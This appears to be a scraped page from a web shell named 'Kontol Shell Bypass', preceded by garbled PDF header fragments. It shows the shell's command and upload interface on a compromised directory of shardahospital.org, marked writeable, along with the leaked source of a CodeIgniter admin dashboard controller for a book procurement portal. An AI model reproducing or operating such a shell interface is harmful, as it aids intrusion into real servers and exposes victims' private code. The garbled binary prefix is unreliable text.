%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/application/controllers_new/admin_old/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/application/controllers_new/admin_old/Dashboard.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
Class Dashboard extends CI_Controller {

	function __construct(){
		parent::__construct();
		$this->load->model('Common_Model');
		if(! $this->session->userdata('elib_adminloggedin'))
		redirect('admin');
	}
	
	public function index()
	{
		$data                    = array();	
		$head                    = array();	
		$head['title']	         = "Admin-Book Procurement Request Portal|Sharda E-Zone";
		$data['header']	         = "Book Procurement Request Portal E-Zone";
		$user_id                 = $this->session->userdata('elib_adminloggedin')->id;
		$role_id                 = $this->session->userdata('elib_role_id'); 
		$school_id               = $this->session->userdata('elib_adminloggedin')->school_id;
		$indentLevel             = [];
		$pendingIndentLevel      = ['1','2','3','5','7','9'];
		$approvedIndentLevel     = ['11'];
		$rejectedIndentLevel     = ['4','6','8','10'];
		$condition    			 = array('tbl_indents.status'=>'1');
		// only their indents visible to faculty
		if($this->session->userdata('elib_role_id') =='15'){			
			//$data['totalIndents'] = $this->Common_Model->getCommonQuery('tbl_indents','*',array('added_by_role'=>'2','added_by_user'=>$user_id,'status'=>'1')); 
			$condition               = array('added_by_role'=>$role_id,'added_by_user'=>$user_id,'tbl_indents.status'=>'1');
		} 
		//only their and their school indents visible to dean
		else if($this->session->userdata('elib_role_id') =='3'){
			 
			$pendingIndentLevel      = ['1'];
			$approvedIndentLevel     = ['2','3','5','6','7','8','9','10','11'];
			$rejectedIndentLevel     = ['4'];
			$condition               = array('school_id'=>$school_id,'tbl_indents.status'=>'1');
			$data['totalIndents']    = $this->Common_Model->getIndentRecordsForDean('tbl_indents','*','',array('school_id'=>$school_id,'status'=>'1')); 
			
		}  
		//indents totalCost > 25000 and approved by dean visible to VC
		else if($this->session->userdata('elib_role_id') =='4'){
			$indentLevel             = ['3','5','6','7','8','9','10'];
			$pendingIndentLevel      = ['3'];
			$approvedIndentLevel     = ['5','7','8','9','10','11'];
			$rejectedIndentLevel     = ['6'];
			$condition               = array('tbl_indents.status'=>'1','totalCost>'=>'25000');
			
		}
		//indents approved by dean(and VC in special case) visible to Librarian
		else if($this->session->userdata('elib_role_id') =='5'){
			$indentLevel             = ['2','5','7','8','9','10','11'];
			$pendingIndentLevel      = ['2','5','9'];
			$approvedIndentLevel     = ['7','10','11'];
			$rejectedIndentLevel     = ['8'];
			
		}
		//indents approved by Librarian visible to Store
		else if($this->session->userdata('elib_role_id') =='6'){
			$indentLevel             = ['7','9','10','11'];
			$pendingIndentLevel      = ['7'];
			$approvedIndentLevel     = ['9','11'];
			$rejectedIndentLevel     = ['10'];
			 
		}
		$data['totalIndents']    = $this->Common_Model->getCommonJoinRecords('tbl_indents','*','',$indentLevel,$condition); 
		$data['approvedIndents'] = $this->Common_Model->getCommonJoinRecords('tbl_indents','*','',$approvedIndentLevel,$condition); 
		$data['rejectedIndents'] = $this->Common_Model->getCommonJoinRecords('tbl_indents','*','',$rejectedIndentLevel,$condition); 
		$data['pendingIndents']  = $this->Common_Model->getCommonJoinRecords('tbl_indents','*','',$pendingIndentLevel,$condition); 
		
		$this->load->view('admin/_parts/header',$head);	
		$this->load->view('admin/dashboard',$data);	
		$this->load->view('admin/_parts/footer');
		setHistory('Welcome to dashboard');
	}

}

Kontol Shell Bypass